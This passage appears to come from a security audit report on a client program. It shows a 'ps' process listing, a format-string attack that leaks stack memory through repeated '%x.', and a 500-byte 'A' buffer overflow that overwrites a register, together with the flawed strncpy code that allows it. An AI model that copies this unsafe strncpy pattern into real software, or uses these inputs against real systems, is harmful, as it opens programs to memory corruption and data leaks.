$ $ USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.1 119956  5792 ?        Ss   Jan31   3:58 /lib/systemd/systemd --s
root         2  0.0  0.0      0     0 ?        S    Jan31   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S    Jan31   0:19 [ksoftirqd/0]
root         7  0.0  0.0      0     0 ?        S    Jan31  20:13 [rcu_sched]
root         8  0.0  0.0      0     0 ?        S    Jan31   0:00 [rcu_bh]
root         9  0.0  0.0      0     0 ?        S    Jan31   0:03 [migration/0]
root        10  0.0  0.0      0     0 ?        S    Jan31   0:11 [watchdog/0]
root        11  0.0  0.0      0     0 ?        S    Jan31   0:10 [watchdog/1]
root        12  0.0  0.0      0     0 ?        S    Jan31   0:04 [migration/1]
root        13  0.0  0.0      0     0 ?        S    Jan31   0:07 [ksoftirqd/1]
root        16  0.0  0.0      0     0 ?        S    Jan31   0:10 [watchdog/2]
root        17  0.0  0.0      0     0 ?        S    Jan31   0:02 [migration/2]
root        18  0.0  0.0      0     0 ?        S    Jan31   0:07 [ksoftirqd/2]
root        21  0.0  0.0      0     0 ?        S    Jan31   0:10 [watchdog/3]
root        22  0.0  0.0      0     0 ?        S    Jan31   0:03 [migration/3]
root        23  0.0  0.0      0     0 ?        S    Jan31   0:08 [ksoftirqd/3]
root        26  0.0  0.0      0     0 ?        S    Jan31   0:00 [kdevtmpfs]
root        27  0.0  0.0      0     0 ?        S<   Jan31   0:00 [netns]
root        28  0.0  0.0      0     0 ?        S<   Jan31   0:00 [perf]
root        29  0.0  0.0      0     0 ?        S    Jan31   0:01 [khungtaskd]
root        30  0.0  0.0      0     0 ?        S<   Jan31   0:00 [writeback]
root        31  0.0  0.0      0     0 ?        SN   Jan31   0:00 [ksmd]
root        32  0.0  0.0      0     0 ?        SN   Jan31   0:37 [khugepaged]
root        33  0.0  0.0      0     0 ?        S<   Jan31   0:00 [crypto]
root        34  0.0  0.0      0     0 ?        S<   Jan31   0:00 [kintegrityd]
```

8.2 Format String Exploit

Client:

```
xinu21 166 $ bin/client $(python -c "print '%x.'*100") 12345
Connecting to 0.0.bac52c0.c1bc700.e.3607d2d8.b9d1d80.b9deff8.bfbf64b
   .846.b9deff8.c1be4e8.3607cf78.3607cf74.bfbefe1.b9d2d10.4008ee.4004b8
   .3607cf78.f63d4e2e.3d8f538.2e.3607d050.b9deff8.b9d1d80.3607cf74.3607
   d040.c1bea30.0.4.9.c1dc700.0.361842b0.c1dc4c0.3607d0e0.c1bea98.0.
   c1dc168.3607d108.bfbfb1f.2.c1bea98.1.0.1.c1dc168.26.3607d120.361842b0
   .0.c1dc4c0.3607d050.c1dc728.3607d040.f63d4e2e.4008ee.ffffffff.0.
   b9de410.c1be4e8.3607d1b0.3607d210.0.c1dc700.3607d1d8.bfbfb1f.0.3607
   d210.0.0.0.6030b0.34333231.0.0.0.0.bfc4ac6.1.0.6562b026.b9de410.3607
   d2a0.bfcc923.ff000000.0.0.0.2f2f2f2f.2f2f2f2f.0.0.0.0.0.0.0.ff0000.0.
    : 12345
```

8.3 Buffer Overflow

```
xinu21 607 $ LD_PRELOAD=libSegFault.so ./bin/client 127.0.0.1 $(python -
   c "print 'A' * 500") foo.txt outfile.txt
Connecting to 127.0.0.1 : 0
Error: Connect Failed
: Connection refused
*** Segmentation fault
Register dump:

 RAX: 0000000000000001   RBX: 0000000000000000   RCX: 00007f141bcefca0
 RDX: 0000000000000000   RSI: 00007f141b6a2b78   RDI: 0000000000020000
 RBP: 4141414141414141   R8 : 00007f141bcd1700   R9 : 0000000000000001
 R10: 0000000000000012   R11: 0000000000000246   R12: 00000000004010d0
 R13: 00007ffd55ac8220   R14: 0000000000000000   R15: 0000000000000000
 RSP: 00007ffd55ac8148

 RIP: 0000000000402401   EFLAGS: 00010202
```

There are similar buffer overflows using the command-line arguments to client:

```
strncpy(server_ip, argv[1], MAX(strlen(argv[1]) + 1, IP_LEN_MAX));
strncpy(server_port_buff, argv[2], MAX(strlen(argv[2]) + 1, PORT_LEN_MAX
   ));
strncpy(infile_name, argv[3], MAX(strlen(argv[3]) + 1, FILE_NAME_MAX));
strncpy(outfile_name, argv[4], MAX(strlen(argv[4]) + 1,  FILE_NAME_MAX))
   ;
```